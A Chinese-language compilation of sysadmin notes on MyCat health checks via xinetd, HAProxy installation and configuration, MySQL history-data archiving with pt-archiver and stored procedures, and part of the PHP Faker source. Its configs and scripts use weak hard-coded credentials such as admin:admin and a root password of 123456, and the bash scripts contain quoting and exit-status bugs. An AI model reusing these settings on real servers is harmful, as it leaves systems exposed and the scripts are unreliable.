MyCat服务主机(edu-mycat-01、edu-mycat-02)上需要增加mycat服务的状态检测脚本,并开放相应的检测端口,以提供给HAProxy对MyCat的服务状态进行检测判断。可以使用xinetd来实现,通过xinetd,HAProxy可以用httpchk来检测MyCat的存活状态。(xinetd即extended internet daemon,xinetd是新一代的网络守护进程服务程序,又叫超级Internet服务器。经常用来管理多种轻量级Internet服务。xinetd提供类似于inetd+tcp_wrapper的功能,但是更加强大和安全。xinetd为linux系统的基础服务)
1、如果xinetd还没有安装,可使用如下命令安装:
# yum install xinetd
2、检查/etc/xinetd.conf的末尾是否有includedir /etc/xinetd.d,没有就加上
# vi /etc/xinetd.conf
3、检查/etc/xinetd.d目录是否存在,不存在刚创建
# mkdir /etc/xinetd.d/
4、增加MyCat存活状态检测服务配置
# touch /etc/xinetd.d/mycat_status
# vi /etc/xinetd.d/mycat_status
增加以下内容:
service mycat_status
{
flags = REUSE
## 使用该标记的socket_type为stream,需要设置wait为no
socket_type = stream ## 封包处理方式,Stream为TCP数据包
port = 48700 ## 服务监听端口
wait = no ## 表示不需等待,即服务将以多线程的方式运行
user = root ## 执行此服务进程的用户
server =/usr/local/bin/mycat_status ## 需要启动的服务脚本
log_on_failure += USERID ## 登录失败记录的内容
disable = no ## 要启动服务,将此参数设置为no
}
5、添加/usr/local/bin/mycat_status服务脚本
# touch /usr/local/bin/mycat_status
# vi /usr/local/bin/mycat_status
增加以下内容:
#!/bin/bash
#/usr/local/bin/mycat_status.sh
# This script checks if a mycat server is healthy running on localhost.
# It will return:
# "HTTP/1.x 200 OK " (if mycat is running smoothly)
# "HTTP/1.x 503 Internal Server Error " (else)
mycat=`/usr/local/mycat/bin/mycat status | grep 'not running' | wc -l`
if [ "$mycat" = "0" ]; then
/bin/echo -e "HTTP/1.1 200 OK "
else
/bin/echo -e "HTTP/1.1 503 Service Unavailable "
fi
6、给新增脚本赋予可执行权限
# chmod a+x /usr/local/bin/mycat_status
7、在/etc/services中加入mycat_status服务
# vi /etc/services
在末尾加入:
mycat_status 48700/tcp # mycat_status
保存后重启xinetd服务
# service xinetd restart
8、验证mycat_status服务是否成功启动
# netstat -antup|grep 48700
9、MyCat服务主机的防火墙上打开48700端口
# vi /etc/sysconfig/iptables
增加: -A INPUT -m state --state NEW -m tcp -p tcp --dport 48700 -j ACCEPT
保存后重启防火墙
# service iptables restart
脚本测试:
# /usr/local/bin/mycat_status
七、HAProxy介绍(官网: http://www.haproxy.org/)
HAProxy 是一款提供高可用性、负载均衡以及基于TCP(第四层)和HTTP(第七层)应用的代理软件,支持虚拟主机,它是免费、快速并且可靠的一种解决方案。
HAProxy目前主要有三个版本: 1.4、1.5、1.6,CentOS6.6自带的RPM包为1.5的。
HAProxy1.5版开始,支持SSL、DDoS防护等功能,可看官网说明:
version 1.5 : the most featureful version,supports SSL,IPv6,keep-alive,DDoS protection,etc...
MyCat官方推荐使用HAProxy做MyCat的高可用负载均衡代理。
八、HAProxy的安装(192.168.1.191)
1、下载(或上传) haproxy-1.5.16.tar.gz 到 /usr/local/src,解压安装
[root@edu-haproxy-01 src]# cd /usr/local/src/
#wget http://www.haproxy.org/download/1.5/src/haproxy-1.5.16.tar.gz
[root@edu-haproxy-01 src]# tar -zxvf haproxy-1.5.16.tar.gz
[root@edu-haproxy-01 src]# cd haproxy-1.5.16
2、如需了解安装注意点,可查看HAProxy的软件说明
[root@edu-haproxy-01 haproxy-1.5.16]# less README
3、安装编译所需的依赖包
# yum install gcc gcc-c++ pcre pcre-devel zlib zlib-devel openssl openssl-devel
4、编译
# make TARGET=linux2628 ARCH=x86_64 USE_PCRE=1 USE_OPENSSL=1 USE_ZLIB=1 PREFIX=/usr/local/haproxy
## TARGET是指定内核版本,高于2.6.28的建议设置为linux2628,Linux操作系统内核版本查看命令# uname -r,ARCH指定系统架构,openssl pcre zlib 这三个包需要安装,不然不支持
5、创建安装目录 /usr/local/haproxy
# mkdir /usr/local/haproxy
6、执行安装
[root@edu-haproxy-01 haproxy-1.5.16]# make install PREFIX=/usr/local/haproxy
install -d "/usr/local/haproxy/sbin"
install haproxy "/usr/local/haproxy/sbin"
install -d "/usr/local/haproxy/share/man"/man1
install -m 644 doc/haproxy.1 "/usr/local/haproxy/share/man"/man1
install -d "/usr/local/haproxy/doc/haproxy"
for x in configuration architecture haproxy-en haproxy-fr; do
install -m 644 doc/$x.txt "/usr/local/haproxy/doc/haproxy" ;
done
7、创建配置文件目录
# mkdir -p /usr/local/haproxy/conf
# mkdir -p /etc/haproxy/
8、从配置文件模版复制配置文件,并添加配置文件软连接
# cp /usr/local/src/haproxy-1.5.16/examples/haproxy.cfg /usr/local/haproxy/conf/
# ln -s /usr/local/haproxy/conf/haproxy.cfg /etc/haproxy/haproxy.cfg
9、拷贝错误页面,并添加目录软连接(HTTP模式选配)
# cp -r /usr/local/src/haproxy-1.5.16/examples/errorfiles /usr/local/haproxy/
# ln -s /usr/local/haproxy/errorfiles /etc/haproxy/errorfiles
10、拷贝开机启动文件,并赋予可执行权限
# cp /usr/local/src/haproxy-1.5.16/examples/haproxy.init /etc/rc.d/init.d/haproxy
# chmod +x /etc/rc.d/init.d/haproxy
11、添加haproxy命令脚本软连接
# ln -s /usr/local/haproxy/sbin/haproxy /usr/sbin
12、设置HAProxy开机启动
# chkconfig --add haproxy
# chkconfig haproxy on
九、HAProxy配置MyCat负载均衡集群
HAProxy支持TCP(第四层)和HTTP(第七层)应用的代理,本节课程我们使用HAProxy来做MyCat的负载均衡代理使用的是TCP模式。在4层模式下HAProxy仅在客户端和服务器之间转发双向流量。HAProxy配置简单,拥有非常不错的服务器健康检查功能,当其代理的后端服务器出现故障,HAProxy会自动将该服务器摘除,故障恢复后会自动将该服务器加入进来。
1、修改haproxy.cfg 配置文件
具体参数说明可参考官方配置文档 /usr/local/haproxy/doc/haproxy/configuration.txt
或GitHub连接: http://cbonte.github.io/haproxy-dconv/configuration-1.5.html
# vi /usr/local/haproxy/conf/haproxy.cfg
## global配置中的参数为进程级别的参数,通常与其运行的操作系统有关
global
log 127.0.0.1 local0 info ## 定义全局的syslog服务器,最多可以定义2个
### local0是日志设备,对应于/etc/rsyslog.conf中的配置,默认回收info的日志级别
#log 127.0.0.1 local1 info
chroot /usr/share/haproxy ## 修改HAProxy的工作目录至指定的目录并在放弃权限之前执行
### chroot() 操作,可以提升 haproxy 的安全级别
group haproxy ## 同gid,不过这里为指定的用户组名
user haproxy ## 同uid,但这里使用的为用户名
daemon ## 设置haproxy后台守护进程形式运行
nbproc 1 ## 指定启动的haproxy进程个数,
### 只能用于守护进程模式的haproxy;默认为止启动1个进程,
### 一般只在单进程仅能打开少数文件描述符的场中中才使用多进程模式
maxconn 4096 ## 设定每个haproxy进程所接受的最大并发连接数,
### 其等同于命令行选项"-n","ulimit-n"自动计算的结果正式参照从参数设定的
# pidfile /var/run/haproxy.pid ## 进程文件(默认路径 /var/run/haproxy.pid)
node edu-haproxy-01 ## 定义当前节点的名称,用于HA场景中多haproxy进程共享同一个IP地址时
description edu-haproxy-01 ## 当前实例的描述信息
## defaults: 用于为所有其他配置段提供默认参数,这默认配置参数可由下一个"defaults"所重新设定
defaults
log global ## 继承global中log的定义
mode http ## mode:所处理的模式 (tcp:四层 ,http:七层 ,health:状态检查,只会返回OK)
### tcp: 实例运行于纯tcp模式,在客户端和服务器端之间将建立一个全双工的连接,
#### 且不会对7层报文做任何类型的检查,此为默认模式
### http:实例运行于http模式,客户端请求在转发至后端服务器之前将被深度分析,
#### 所有不与RFC模式兼容的请求都会被拒绝
### health: 实例运行于health模式,其对入站请求仅响应"OK"信息并关闭连接,
#### 且不会记录任何日志信息 ,此模式将用于相应外部组件的监控状态检测请求
option httplog
retries 3
option redispatch ## serverId对应的服务器挂掉后,强制定向到其他健康的服务器
maxconn 2000 ## 前端的最大并发连接数(默认为2000)
### 其不能用于backend区段,对于大型站点来说,可以尽可能提高此值以便让haproxy管理连接队列,
### 从而避免无法应答用户请求。当然,此最大值不能超过"global"段中的定义。
### 此外,需要留心的是,haproxy会为每个连接维持两个缓冲,每个缓存的大小为8KB,
### 再加上其他的数据,每个连接将大约占用17KB的RAM空间,这意味着经过适当优化后 ,
### 有着1GB的可用RAM空间时将维护40000-50000并发连接。
### 如果指定了一个过大值,极端场景中,其最终所占据的空间可能会超过当前主机的可用内存,
### 这可能会带来意想不到的结果,因此,将其设定一个可接受值放为明智绝对,其默认为2000
timeout connect 5000ms ## 连接超时(默认是毫秒,单位可以设置us,ms,s,m,h,d)
timeout client 50000ms ## 客户端超时
timeout server 50000ms ## 服务器超时
## HAProxy的状态信息统计页面
listenadmin_stats
bind :48800 ## 绑定端口
stats uri /admin-status ##统计页面
stats auth admin:admin ## 设置统计页面认证的用户和密码,如果要设置多个,另起一行写入即可
mode http
option httplog ## 启用日志记录HTTP请求
## listen: 用于定义通过关联"前端"和"后端"一个完整的��理,通常只对TCP流量有用
listenmycat_servers
bind :3306 ## 绑定端口
mode tcp
option tcplog ## 记录TCP请求日志
option tcpka ## 是否允许向server和client发送keepalive
option httpchk OPTIONS * HTTP/1.1 Host: www ## 后端服务状态检测
### 向后端服务器的48700端口(端口值在后端服务器上通过xinetd配置)发送 OPTIONS 请求
### (原理请参考HTTP协议) ,HAProxy会根据返回内容来判断后端服务是否可用.
### 2xx 和 3xx 的响应码表示健康状态,其他响应码或无响应表示服务器故障。
balance roundrobin ## 定义负载均衡算法,可用于"defaults"、"listen"和"backend"中,默认为轮询方式
server mycat_01 192.168.1.203:8066 check port 48700 inter 2000ms rise 2 fall 3 weight 10
server mycat_02 192.168.1.204:8066 check port 48700 inter 2000ms rise 2 fall 3 weight 10
## 格式: server name address[:[port]] [param*]
### serser 在后端声明一个server,只能用于listen和backend区段。
### name为此服务器指定的内部名称,其将会出现在日志及警告信息中
### address此服务器的IPv4地址,也支持使用可解析的主机名,但要在启动时需要解析主机名至响应的IPV4地址
### [:[port]]指定将客户端连接请求发往此服务器时的目标端口,此为可选项
### [param*]为此server设定的一系列参数,均为可选项,参数比较多,下面仅说明几个常用的参数:
#### weight:权重,默认为1,最大值为256,0表示不参与负载均衡
#### backup:设定为备用服务器,仅在负载均衡场景中的其他server均不可以启用此server
#### check:启动对此server执行监控状态检查,其可以借助于额外的其他参数完成更精细的设定
#### inter:设定监控状态检查的时间间隔,单位为毫秒,默认为2000,
##### 也可以使用fastinter和downinter来根据服务器端专题优化此事件延迟
#### rise:设置server从离线状态转换至正常状态需要检查的次数(不设置的情况下,默认值为2)
#### fall:设置server从正常状态转换至离线状态需要检查的次数(不设置的情况下,默认值为3)
#### cookie:为指定server设定cookie值,此处指定的值将会在请求入站时被检查,
##### 第一次为此值挑选的server将会被后续的请求所选中,其目的在于实现持久连接的功能
#### maxconn:指定此服务器接受的最大并发连接数,如果发往此服务器的连接数目高于此处指定的值,
#####其将被放置于请求队列,以等待其他连接被释放
注意: 多节点部署时node 、 description的值要做相应调整。
2、根据以上HAProxy配置文件要求做以下配置
(1)添加haproxy用户组和用户
# groupadd haproxy
# useradd -g haproxy haproxy
(2)创建chroot运行的路径
# mkdir /usr/share/haproxy
(3)防火墙中打开3306端口和48800端口
# vi /etc/sysconfig/iptables
-A INPUT -m state --state NEW -m tcp -p tcp --dport 3306 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 48800 -j ACCEPT
重启防火墙
# service iptables restart
3、开启rsyslog的haproxy日志记录功能
默认情况下haproxy是不记录日志的,如果需要记录日志还需要配置系统的syslog,在linux系统中是rsyslog服务。syslog服务器可以用作一个网络中的日志监控中心,rsyslog是一个开源工具,被广泛用于Linux系统以通过TCP/UDP协议转发或接收日志消息。安装配置rsyslog服务:
# yum install rsyslog ## 没安装的情况下执行安装
# vi /etc/rsyslog.conf
把 $ModLoad imudp 和 $UDPServerRun 514前面的 # 去掉
$ModLoad imudp ## 是模块名,支持UDP协议
$UDPServerRun 514
##允许514端口接收使用UDP和TCP协议转发过来的日志,
##而rsyslog在默认情况下,正是在514端口监听UDP
确认 #### GLOBAL DIRECTIVES #### 段中是否有 $IncludeConfig /etc/rsyslog.d/*.conf没有则增加上此配置,增加后的效果:
# cd /etc/rsyslog.d/ ## rsyslog服务会来此目录加载配置
# touch haproxy.conf ## 创建haproxy的日志配置文件
# vi /etc/rsyslog.d/haproxy.conf
增加以下内容:
local0.* /var/log/haproxy.log
&~
##如果不加上面的的"&~"配置则除了在/var/log/haproxy.log中写入日志外,也会写入/var/log/message文件中
配置保存后重启rsyslog服务
# service rsyslog restart
Shutting down system logger: [ OK ]
Starting system logger: [ OK ]
(等到HAProxy服务启动后,就能在/var/log/haproxy.log中看到日志了)
4、配置系统内核的IP包转发功能
# vi /etc/sysctl.conf
net.ipv4.ip_forward = 1
使配置生效
# sysctl -p
5、启动HAProxy
# service haproxy start
# ps -ef | grep haproxy
haproxy 23921 1 0 23:27 ? 00:00:00 /usr/sbin/haproxy -D -f /etc/haproxy/haproxy.cfg -p /var/run/haproxy.pid
root 23924 23179 0 23:27 pts/1 00:00:00 grep haproxy
6、使用MySQL客户端通过HAProxy连接MyCat
E:MySQL-5.6.17-winx64in>mysql -uuser2 -proncoo.2 -h192.168.1.191 -P3306
mysql> show databases;
mysql> use rc_schema2;
mysql> show tables;
mysql> select * from edu_user;
写数据测试
mysql> insert into edu_user (userName,pwd) values('吴水成','roncoo.com');
然后查看MySQL中的数据库插入及数据同步情况。
8、登录HAProxy的状态信息统计页面
http://192.168.1.191:48800/admin-status
用户名和密码都是admin,对应的haproxy.cfg配置片段
数据归档 mysql历史数据自动归档
当业务不断扩大,数据库压力与日俱增,数据量也随之增大,导致磁盘的压力也不堪重负,从而也可能会引发系统性能和容量的瓶颈,因此需要对一些历史数据进行归档,将在线数据挪到历史库或不同的服务器,如在线订单只留3个月数据,3个月以前的就需要到历史库查了。
自动归档常见的方式有pt-archiver和存储过程
归档sql:
方法一: 复制表并且按照条件插入数据(此种方法除了主键索引不包括其他索引)
CREATE TABLE lime_survey_549656_20151001 as select * from lime_survey_549656 where submitdate < "2015-10-01 00:00:00";
ALTER TABLE lime_survey_549656_20151001 change id id int primary key auto_increment;
CREATE TABLE lime_survey_186194_20151001 as select * from lime_survey_186194 where submitdate < "2015-10-01 00:00:00";
ALTER TABLE lime_survey_186194_20151001 change id id int primary key auto_increment;
CREATE TABLE lime_survey_279575_20151001 as select * from lime_survey_279575 where submitdate < "2015-10-01 00:00:00";
ALTER TABLE lime_survey_279575_20151001 change id id int primary key auto_increment;
方法二: 创建一张空表,结构和索引和原表一样
create table lime_survey_549656_20151001 like lime_survey_549656;
INSERT INTO lime_survey_549656_20151001 select * from lime_survey_549656 where submitdate < "2015-10-01 00:00:00";
create table lime_survey_186194_20151001 like lime_survey_186194;
INSERT INTO lime_survey_186194_20151001 select * from lime_survey_186194 where submitdate < "2015-10-01 00:00:00";
create table lime_survey_279575_20151001 like lime_survey_279575;
INSERT INTO lime_survey_279575_20151001 select * from lime_survey_279575 where submitdate < "2015-10-01 00:00:00";
数据归档成功后清理数据sql:
deletefrom lime_survey_549656 where submitdate < "2015-10-0100:00:00";
deletefrom lime_survey_186194 where submitdate < "2015-10-0100:00:00";
deletefrom lime_survey_279575 where submitdate < "2015-10-0100:00:00";
一、使用分区,再利用分区交换技术能够很好地把指定分区中的数据移动到指定表中,这个需要在项目之处就进行此操作。
二、利用存储过程和事件来定期进行数据的导出删除操作。
1 、创建一个新表,表结构和索引与旧表一模一样
create table table_new like table_old;
2 、新建存储过程,查询30天的数据并归档进新数据库,然后把30天前的旧数据从旧表里删除
delimiter $
create procedure sp()
begin
insert into tb_new select * from table_old where rectime < NOW() - INTERVAL 30 DAY;
delete from db_smc.table_old where rectime < NOW() - INTERVAL 30 DAY;
end
3、创建EVENT,每天晚上凌晨00:00定时执行上面的存储过程
create event if not exists event_temp
on schedule every 1 day
on completion preserve
do call sp();
备注:第一次执行存储过程的时候因为历史数据过大, 可能发生意外让该次执行没有成功。重新执行时会遇到报错ERROR 1205 (HY000): Lock wait timeout exceeded; try restarting transaction,应急解决方案如下:
1、执行show full processlist;查看所有MySQL线程。
2、执行SELECT * FROM information_schema.INNODB_TRX\G; 查看是否有错误线程,线程id在show full processlist;的结果中状态为sleep。
3、kill进程id。
另外写存储过程的时候可以控制事务的大小,比如说可以根据时间字段每次归档一天或者更小时间段的数据,这样就不会有大事务的问题,里面还可以加入日志表,每次归档操作的行为都写入日志表,以后查起来也一目了然。
三、使用percona-toolkit的pt-archiver工具来进行历史数据归档,支持删除和不删除元数据的选择。
pt-archiver使用的场景:
1、清理线上过期数据。
2、清理过期数据,并把数据归档到本地归档表中,或者远端归档服务器。
3、两张表之间的数据不完全相同,希望合并,此时加上–ignore或–replace选项,可以轻松实现。
4、导出线上数据,到线下数据作处理。
其它作用:
1、用于清理过期数据purge
$ pt-archiver --source h=10.99.73.9,P=3306,u=mha,p=123456,D=sbtest,t=sbtest \
--no-check-charset \
--where 'id < 50000' \
--purge \
--limit=2 \
--statistics
注意--source后的DSN之间不能空格出现,否则会出错。 --where条件的值,有字符串的,要用引号括起来。 --limit表示每组一次删除多少条数据(注意:如果数据比较多时,也可以设置大一些,减少循环次数),最终的清理操作,还是通过Where pK=xx来处理的。
2、用于把数据导出文件,不用删除原表中数据
$ pt-archiver --source h=10.99.73.9,P=3306,u=mha,p=123456,D=sbtest,t=sbtest \
--dest h=10.99.73.9,P=3306,u=mha,p=123456,D=sbtest,t=sbtest_201703 \
--no-check-charset \
--where 'id>50000' \
--progress 5000 \
--no-delete \
--file "/tmp/pt-archiver.dat" \
--limit=10000 \
--txn-size=10000 \
--statistics
参数说明:
--statistics:结束的时候给出统计信息:开始的时间点,结束的时间点,查询的行数,归档的行数,删除的行数,以及各个阶段消耗的总的时间和比例,便于以此进行优化。
--where:给出表中要处理的数据的查询条件。
--progress:每处理progress指定的行数后就打印一次信息。
--no-delete:表示不删除原来的数据,注意:如果不指定此参数,所有处理完成后,都会清理原表中的数据。
--limit:表示每次事务删除多少条数据,默认1条(注意:如果数据比较多时,也可以设置大一些,减少循环次数)。
--txn-size:每个事务提交的数据行数(包括读写操作),批量提交,增加该值可以提升归档性能。
--file:数据存放的文件,最好指定绝对路径,文件名可以灵活地组合(另外,我测试过写文件与不写文件速度几乎差不多,原本以为不写文件速度会快)。
%d Day of the month, numeric (01..31)
%H Hour (00..23)
%i Minutes, numeric (00..59)
%m Month, numeric (01..12)
%s Seconds (00..59)
%Y Year, numeric, four digits
%D Database name
%t Table name
注意字符集问题
如果数据库字符集是utf8,需要在运行pt-archive的机器上,在/etc/my.cnf文件中的[client]下面添加default-character-set = utf8,否则导出的文件内容中文会乱码,我就被这个问题坑了。
测试归档
首先压测100万数据
mysql> create database sbtest charset utf8;
$sysbench /usr/share/sysbench/oltp_read_only.lua --mysql-host=127.0.0.1 --mysql-port=3306 --mysql-user=root --mysql-socket=/var/lib/mysql/mysql.sock --mysql-db=sbtest --db-driver=mysql --tables=1 --table-size=100000 --report-interval=10 --threads=128 --time=120 prepare
mysql> select count(1) from sbtest1;
+----------+
| count(1) |
+----------+
| 100000 |
+----------+
1 row in set (0.04 sec)
创建一张归档表,表结构跟原表一样。
mysql> show create table sbtest1\G
*************************** 1. row ***************************
Table: sbtest
Create Table: CREATE TABLE `sbtest` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`k` int(10) unsigned NOT NULL DEFAULT '0',
`c` char(120) NOT NULL DEFAULT '',
`pad` char(60) NOT NULL DEFAULT '',
PRIMARY KEY (`id`),
KEY `k` (`k`)
) ENGINE=InnoDB AUTO_INCREMENT=1000001 DEFAULT CHARSET=utf8
1 row in set (0.00 sec)
mysql> CREATE TABLE `sbtest_2018` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`k` int(10) unsigned NOT NULL DEFAULT '0',
`c` char(120) NOT NULL DEFAULT '',
`pad` char(60) NOT NULL DEFAULT '',
PRIMARY KEY (`id`),
KEY `k` (`k`)
) ENGINE=InnoDB AUTO_INCREMENT=1000001 DEFAULT CHARSET=utf8;
开始进行归档表操作,并且删除原有表数据记录(如果不删除原表数据需要加 --no-delete)
$pt-archiver --source h=localhost,u=root,D=sbtest,t=sbtest1 --dest h=localhost,u=root,D=sbtest,t=sbtest1_2018 --no-check-charset --where 'id>25000' --progress 5000 --file "/tmp/pt-archiver.dat" --limit=10000 --txn-size=10000 --statistics
TIME ELAPSED COUNT
2018-02-25T16:03:32 0 0
2018-02-25T16:03:34 2 5000
2018-02-25T16:03:37 4 10000
2018-02-25T16:03:39 6 15000
2018-02-25T16:03:41 8 20000
2018-02-25T16:03:43 10 25000
2018-02-25T16:03:43 10 25000
Started at 2018-02-25T16:03:32, ended at 2018-02-25T16:03:43
Source: D=sbtest,h=localhost,t=sbtest1,u=root
Dest: D=sbtest,h=localhost,t=sbtest1_2018,u=root
SELECT 25000
INSERT 25000
DELETE 25000
Action Count Time Pct
inserting 25000 4.1222 37.47
deleting 25000 3.7808 34.37
print_file 25000 0.1496 1.36
select 4 0.0590 0.54
commit 6 0.0397 0.36
other 0 2.8491 25.90
mysql> select count(*) from sbtest1;
+----------+
| count(*) |
+----------+
| 25001 |
+----------+
1 row in set (0.01 sec)
mysql> select count(*) from sbtest1_2018;
+----------+
| count(*) |
+----------+
| 25000 |
+----------+
1 row in set (0.01 sec)
可以看到数据已经归档完毕,并且删除数据完毕。生产环境中一般都是根据日期来归档数据,比如常见需求保留30天即可,此时where可以这么写"CreateTime <= date_add(now(), interval -30 day)"。
除了用pt-archiver归档之外,还有一个特别大的用处,称之为"无锁导入数据"。在数据归档中还有一种需求,为了不影响业务在某些情况下会对一些日志表或者其他表做归档,当表特别大时第一次处理此表就不太好处理,并且就算把表数据删除了后而表文件还是无法缩小。这个时候就可以用MySQL的神奇rename命令对表进行重命名,当然是业务允许情况下,如 rename table Deal to Deal_201801, Deal_2018 to Deal;,此操作是一个原子操作且特别快。做完这个动作之后,一般还会有一个需求就是把原表中某一段时间的数据导入到新的表中,可能是业务跑批需要或者后台查询需要。导数据该怎么弄呢?很自然可能想到使用 insert into Deal select * from Deal_201801 where ...导入操作,但是不好意思,这个动作是锁表的,在导入数据的时候无法对新表进行操作,会导致业务异常。
如果换其他方式呢?写python或shell把数据读出来写入到文件,然后再从文件读出循环插入到新表,这当然是可以的。但当数据特别多时,也需要写多线程了。其实这个时候就可以借助pt-archiver进行数据导入了,从老的表读出来然后直接插入到新的表,他的原理与上面说的方式类似,但是它更友好,且更快。
四、使用union或union all来进行结果合并
当历史数据进行归档后,这个时候就有需求了。当需要查看历史数据和现有表数据时有没有什么好的方法呢?其实可以使用union或union all来进行多表结果合并操作。
在数据库中,union和union all关键字都是将两个结果集合并为一个,但这两者从使用和效率上来说都有所不同。union在进行表链接后会筛选掉重复的记录,所以在表链接后会对所产生的结果集进行排序运算,删除重复的记录再返回结果。
如:
select * from test_union1
union
select * from test_union2
这个SQL在运行时先取出两个表的结果,再用排序空间进行排序删除重复的记录,最后返回结果集,如果表数据量大的话可能会导致用磁盘进行排序。
而union all只是简单的将两个结果合并后就返回。这样,如果返回的两个结果集中有重复的数据,那么返回的结果集就会包含重复的数据了。 从效率上说,union all要比union快很多,所以,如果可以确认合并的两个结果集中不包含重复的数据的话,那么就使用union all,如下:
select * from test_union1
union all
select * from test_union2
使用union组合查询的结果集有两个最基本的规则:
1、所有查询中的列数和列的顺序必须相同。
2、数据类型必须兼容。
虽然这个可以简便解决数据查询问题,但是还是需要代码层面的调整。
union还有一个地方可能会用到,如web项目中经常会碰到整站搜索的问题,即客户希望在网站的搜索框中输入一个词语,然后在整个网站中只要包含这个词的页面都要出现在搜索结果中。由于一个web项目不可能用一张表就全部搞定的,所以这里一般都是要用union联合搜索来解决整个问题的。
pt-archiver可以将表按照指定条件归档到历史数据库中,也支持文件导出,对于归档清理线上历史数据非常方便。
如果要归档表的数据到历史数据库的表中,需要预先在历史数据库中创建表结构。
(1) 按照条件归档表中的历史数据到历史数据中,同时在本地生成归档文件
# 在历史数据库(192.168.56.102)中创建归档表
mysql> CREATE TABLE `emp` (
-> `id` int(11) NOT NULL,
-> `name` varchar(15) DEFAULT NULL,
-> PRIMARY KEY (`id`)
-> ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.60 sec)
# 查看源表
mysql> select * from emp;
+--------+---------+
| id | name |
+--------+---------+
| 10 | Neo |
| 10036 | test |
| 10037 | test |
| 10038 | test |
| 10039 | test |
| 10040 | MySQL01 |
| 10041 | MySQL01 |
| 10042 | MySQL01 |
| 100100 | test |
| 100101 | test |
| 100103 | test |
| 100104 | test |
| 100105 | test |
| 100106 | test |
| 100107 | test |
| 100108 | test |
+--------+---------+
# 归档id小于200000的数据到历史库和本地文件
# pt-archiver --source h=192.168.56.101,P=3307,u=neo,p=neo,D=sale,t=emp --dest h=192.168.56.102,P=3306,u=sale,p=sale,D=test,t=emp --where "id<=200000" --charset=utf8 --limit 1000 --commit-each --file '/opt/%Y-%m-%d-%D.%t'
# 查看源表
mysql> select * from emp where id < 200000;
Empty set (0.05 sec)
# 查看历史表
mysql> select * from emp limit 2;
+--------+------+
| id | name |
+--------+------+
| 100100 | test |
| 100101 | test |
+--------+------+
2 rows in set (0.00 sec)
# 查看本地归档文件(相当于select ... into导出)
# cat /opt/2018-03-19-sale.emp
10 Neo
10036 test
10037 test
10038 test
10039 test
10040 MySQL01
10041 MySQL01
10042 MySQL01
(2) 清理过期历史数据
# pt-archiver --source h=192.168.56.101,P=3306,u=neo,p=neo,D=test,t=item_order --where "order_date < '2018-03-01'" --charset=utf8 --purge --limit 1000 --commit-each
# 查看清理后的表中数据
mysql> select * from item_order where order_date < '2018-03-01';
Empty set (0.00 sec)
【 MySQL历史数据归档以及释放磁盘空间Shell脚本 】
[root@seichung ] vim /data/sh/history_backup.sh
#!/bin/bash
# 数据库信息
Dbname='wordpress'
Host='localhost'
User='root'
Password='123456'
Port=3306
# 时间戳
Date=`date +'%Y%m%d%H%M%S'`
# 导出的历史数据表
Tables='/opt/history_tables.txt'
# 查看状态
mysql -h${Host} -u${User} -p${Password} -P ${Port} -e 'use ${Dbname};' &>/dev/null
# 判断该库是否存在
if [ $? = 0 ];then
echo -e "The database '${Dbname}' is starting, please wait for the backup to finish……"
# 开始进行数据备份
cat ${Tables} | while read table
do
# 将同个库中的所有表都备份归档到同一个文件
mysqldump -h${Host} -u${User} -p${Password} -P ${Port} --set-gtid-purged=OFF --single-transaction --databases ${Dbname} --tables ${table} >> /data/backup/history_data/${Dbname}-history-data-${Date}.sql 2>/dev/null
done
if [ $? = 0 ];then
echo "Database '${Dbname}' is backup successfully!" 2>/dev/null
else
echo "Database '${Dbname}' is backup failed!" 2>/dev/null
fi
exit 2
else
echo "This database '${Dbname}' is not run. Please check it!"
exit 2
fi
释放磁盘空间
[root@seichung ] vim history_clean.sh
# 清理历史数据表,注意数据无价,将数据备份好的情况下方可执行该脚本!
# 数据库信息
Dbname='wordpress'
Host='localhost'
User='root'
Password='123456'
Port=3306
# 时间戳
Date=`date +'%Y%m%d%H%M%S'`
# 导出的历史数据表
Tables='/opt/history_tables.txt'
# 查看状态
mysql -h${Host} -u${User} -p${Password} -P ${Port} -e 'use ${Dbname};' &>/dev/null
# 判断该库是否存在
if [ $? = 0 ];then
echo "The database ${Dbname} is being cleaned up, please wait for it to be cleaned up"
# 开始清理
cat $Tables | while read table
do
mysql -h${Host} -u${User} -p${Password} -P ${Port} -e "truncate table ${table};" 2>/dev/null
echo "The table '${table}' has been cleared"
done
else
echo "This database '${Dbname}' is not run. Please check it!"
exit 2
fi
php faker库填充测试数据
使用方式:
1、composer require fzaninotto/faker
2、将 "fzaninotto/faker": "^1.8" 加入composer.json,执行composer update
3、github下载到本地
PHP Faker 是一款用于生成各种随机串的工具库,通常用于在项目测试时生成大量样本数据
require_once 'vendor/autoload.php';
$faker = Faker\Factory::create();
【 faker的专有名词 】
faker中定义了一些专有名词帮助理解它的设计思路,明白这些概念对理解他的源码非常有帮助。faker扩展包体积虽小,五脏俱全,非常有学习价值。
格式器(formatters)
faker提供了大量可供选择的模拟数据,每个生成器属性如$faker->name()的name都被叫做格式器
提供器(providers)
需要填充的数据有很多种类,例如
基本的随机数据: 整数、浮点数、字母
随机的人物信息: 姓名、姓、名 等
随机的号码: 手机号、电话号
Faker将每种分类定义为provider,查看data-seeder/vendor/fzaninotto/faker/src/Faker/Provider可以看到各种provider的类文件及分语言包的文件。
faker对象生成
查看faker生成器的工厂方法:
const DEFAULT_LOCALE = 'en_US';
protected static $defaultProviders = array('Address', 'Barcode', 'Biased', 'Color', 'Company', 'DateTime', 'File', 'HtmlLorem', 'Image', 'Internet', 'Lorem', 'Miscellaneous', 'Payment', 'Person', 'PhoneNumber', 'Text', 'UserAgent', 'Uuid');
public static function create($locale = self::DEFAULT_LOCALE){
$generator = new Generator();
foreach (static::$defaultProviders as $provider) {
$providerClassName = self::getProviderClassname($provider, $locale);
$generator->addProvider(new $providerClassName($generator));
}
return $generator;
}
参数locale是语言包,默认为en_US美国英语。在data-seeder/vendor/fzaninotto/faker/src/Faker/Provider目录中可以查看所有支持的语言包。
默认的providers,在以上Provider目录中可以一一对应的找到。循环数组,将对应的provider添加到生成器$generator。
getProviderClassname
protected static function getProviderClassname($provider, $locale = ''){
if ($providerClass = self::findProviderClassname($provider, $locale)) {
return $providerClass;
}
// fallback to default locale
if ($providerClass = self::findProviderClassname($provider, static::DEFAULT_LOCALE)) {
return $providerClass;
}
// fallback to no locale
if ($providerClass = self::findProviderClassname($provider)) {
return $providerClass;
}
throw new \InvalidArgumentException(sprintf('Unable to find provider "%s" with locale "%s"', $provider, $locale));
}
